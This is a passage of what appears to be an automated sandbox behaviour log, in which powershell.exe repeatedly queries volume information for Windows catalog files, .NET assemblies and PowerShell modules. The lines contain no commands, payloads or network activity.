      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
